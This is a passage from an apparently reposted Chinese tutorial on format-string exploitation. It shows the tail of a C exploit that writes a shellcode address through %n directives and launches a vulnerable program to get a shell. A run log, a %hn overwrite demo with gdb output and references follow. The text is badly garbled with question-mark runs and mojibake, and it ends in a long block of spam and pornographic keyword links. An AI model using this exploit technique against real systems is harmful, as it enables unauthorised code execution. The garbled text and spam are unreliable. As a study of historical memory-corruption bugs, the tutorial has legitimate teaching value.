            ?????? printf("Can't allocate memory.\n");???????????????????????
            ?????? exit(0);??????????????????????????????????????????????????
            ??? }
            ????????????????????????????????????????????????

            ? if (!(egg = malloc(eggsize))) {?????????????????????????????
            ??? printf("Can't allocate memory.\n");???????????????????????
            ??? exit(0);??????????????????????????????????????????????????
            ? }???????????????????????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? printf("Using RET location address: 0x%x\n", retloc);
            ? shell_addr = get_esp() + offset;?????? /* 計(jì)算shellcocde所在的地址 */?????????????????????????????????????????????????
            ? printf("Using Shellcode address: 0x%x\n", shell_addr);
            ?
            ? SH1 = (shell_addr >> 24) & 0xff;
            ? SH2 = (shell_addr >> 16) & 0xff;
            ? SH3 = (shell_addr >>? 8) & 0xff;
            ? SH4 = (shell_addr >>? 0) & 0xff;

            ? /* 如果SH4小于44,我們就增大它的值,讓它等于44 + 1,以免出現(xiàn)負(fù)值 */
            ? if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
            ????? oldSH4 = SH4;
            ????? SH4 = 4 + 12 + 4 + 8*3 + 1;
            ????? printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
            ? }
            ?
            ???? ptr = buff;?????????????????????????????????????????????????
            ?
            ???? for (i = 0; i <4 ; i++, retloc++ ){
            ?????? memset(ptr,'A',4);
            ?????? ptr += 4 ;
            ?????? (*ptr++) =? retloc & 0xff;??????? /* 填充retloc+n (n= 0,1,2,3) */?????????
            ?????? (*ptr++) = (retloc >> 8? ) & 0xff ;????????????????
            ?????? (*ptr++) = (retloc >> 16 ) & 0xff ;????????????????
            ?????? (*ptr++) = (retloc >> 24 ) & 0xff ;????????????????
            ????? }
            ?????????
            ???? for(i = 0 ; i < 4 ; i++ )
            ???? {
            ??????? memcpy(ptr, "%c", 2); /* 輸入格式串,調(diào)整%n所對(duì)應(yīng)的位置 */
            ??????? ptr += 2;
            ???? }
            ???? /* "輸入"我們的shellcode地址 */
            ???? sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
            ????????????? (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
            ?
            ? ptr = egg;??????????????????????????????????????????????????
            ? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
            ??? *(ptr++) = NOP;???????????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? for (i = 0; i < strlen(shellcode); i++)?????????????????????
            ??? *(ptr++) = shellcode[i];??????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? egg[eggsize - 1] = '\0';????????????????????????????????????
            ??????????????????????????????????????????????????????????????
            ? memcpy(egg, "EGG=", 4);???????????????????????????????????????
            ? env[0] = egg ;
            ? env[1] = (char *)0 ;

            ? execle("./vul","vul",buff + align, NULL,env);?????????
            }? /* end of main */????

            <- end ->?

            驗(yàn)證一下:
            [warning3@rh62 format]$ ./exp3
            Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
            Using RET location address: 0xbffffabc
            Using Shellcode address: 0xbffffcfa
            argv[1] = AA賤緼AAA晉緼AAA菌緼AAA窺?c%c%c%c%206c%n%2c%n%3c%n%192c%n
            bash$ id
            uid=500(warning3) gid=500(warning3) groups=500(warning3)
            這個(gè)程序在redhat 6.1和redhat 6.2下均驗(yàn)證通過


            <4> 攻擊方法三:多次覆蓋返回地址(利用%hn)
            =========================================

            在drow的statd-toy.c中又提供了一種方法:利用%hn,它會(huì)覆蓋一個(gè)字的高16位:

            main()
            {
            int a=0x41414141;
            printf("a=%#x%hn\n",a,&a);
            printf("a=%#x\n",a);
            }

            [warning3@redhat-6 wuftp]$ ./aa
            a=0x41414141
            a=0x4141000c

            <....>用gdb看一下:
            (gdb) b 5
            Breakpoint 1 at 0x80483ea: file aa.c, line 5.
            (gdb) r
            Starting program: /home/warning3/wuftp/./aa
            a=0x41414141

            Breakpoint 1, main () at aa.c:5
            5??????? printf("a=%#x\n",a);
            (gdb) p &a
            $1 = (int *) 0xbffffcb4
            (gdb) x/4b 0xbffffcb4
            0xbffffcb4:???? 0x0c??? 0x00??? 0x41??? 0x41

            因此我們只要覆蓋兩次就可以了,具體的方法和前面相似,有興趣的讀者可以自行測(cè)試一下。
            這種方法的好處是我們不會(huì)覆蓋多余的地址,它只覆蓋指定地址的兩個(gè)字節(jié)內(nèi)容!


            綜合上面的幾種方法,我們會(huì)看到第三和第四種方法是最通用的,可以適用于各種情況。第
            一種和第二種都有其自己的局限性,更多的依賴于應(yīng)用程序自身的特點(diǎn)。

            不過這幾種方法都由一個(gè)局限,就是必須非常精確的給定存放返回地址的地址:retloc,錯(cuò)一
            個(gè)字節(jié)也不行。這使攻擊的成功率大打折扣。回憶一下原來的普通exploit為什么容易成功,
            是因?yàn)樗ǔJ褂靡淮祷氐刂穪硖畛涠褩#灰芨采w返回地址retloc就可以了,并不需要
            知道retloc確切的值。而這里,我們必須精確指定retloc,將shellcode地址直接填充到返回地
            址中去。而由于retloc的大小和用戶環(huán)境變量等因素有很大關(guān)系,往往不是很確定,不是那么
            容易就一次成功的。那么如果我們能夠指定一串retloc,retloc+4,retloc+8...,分別將
            shellcode地址存到這些地址去,那么我們不就可以增大成功的把握了嗎?利用第4種方法,使
            很容易做到這一點(diǎn)的。具體的操作有興趣的讀者可以自行測(cè)試,也可以與我聯(lián)系。


            另外,%n并不僅僅局限于用來覆蓋返回地址,也可以用來覆蓋某些保存的數(shù)據(jù),比如保存
            的uid,gid等等。

            結(jié)束語
            ========

            這種格式化串導(dǎo)致的溢出問題,雖然看起來比較復(fù)雜,實(shí)際上只要程序員在書寫應(yīng)用程序
            時(shí)稍加注意,是完全可以避免的。看來粗心真的是安全的大敵。:-) 由于時(shí)間倉促,文中
            錯(cuò)疏之處難免,敬請(qǐng)批評(píng)指正。


            參考文獻(xiàn)
            ==========
            [1] <<Format Bugs: What are they, Where did they come from,.........
            ????? How to exploit them>> , lamagra (lamagra@digibel.org)
            [2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
            [3] <<More info on format bugs>>,? Pascal Bouchareine [ kalou <pb@grolier.fr> ]
            posted on 2006-10-20 20:55 Asp 閱讀(716) 評(píng)論(0)  編輯 收藏 引用 所屬分類: Binary Life...
            久久激情五月丁香伊人| 九九久久自然熟的香蕉图片| 狠狠色综合久久久久尤物| 国产A级毛片久久久精品毛片| 国产国产成人久久精品| 武侠古典久久婷婷狼人伊人| 欧美黑人激情性久久| 久久综合九色欧美综合狠狠| 久久久久亚洲av无码专区喷水| 亚洲国产精品久久66| 99蜜桃臀久久久欧美精品网站| 国产精品美女久久久久网| 日本高清无卡码一区二区久久| 2022年国产精品久久久久| 日本五月天婷久久网站| 青青青国产精品国产精品久久久久| 亚洲国产日韩欧美综合久久| 久久久久高潮毛片免费全部播放| 久久强奷乱码老熟女网站| 精品无码久久久久久久久久| 日韩精品无码久久久久久| 久久夜色精品国产亚洲| 久久丫精品国产亚洲av| 欧美成人免费观看久久| 久久久久久久久久久免费精品 | 久久精品亚洲福利| 久久国产免费观看精品| 精品久久久久香蕉网| 99精品久久久久久久婷婷 | 久久精品亚洲日本波多野结衣| 一级A毛片免费观看久久精品| 久久AAAA片一区二区| 国产精品免费久久| 国产精品永久久久久久久久久| 久久久国产精品网站| 国内精品伊人久久久久| 国产精品无码久久久久久| 精品午夜久久福利大片| 久久线看观看精品香蕉国产| 国产精品久久永久免费| 国产精品永久久久久久久久久|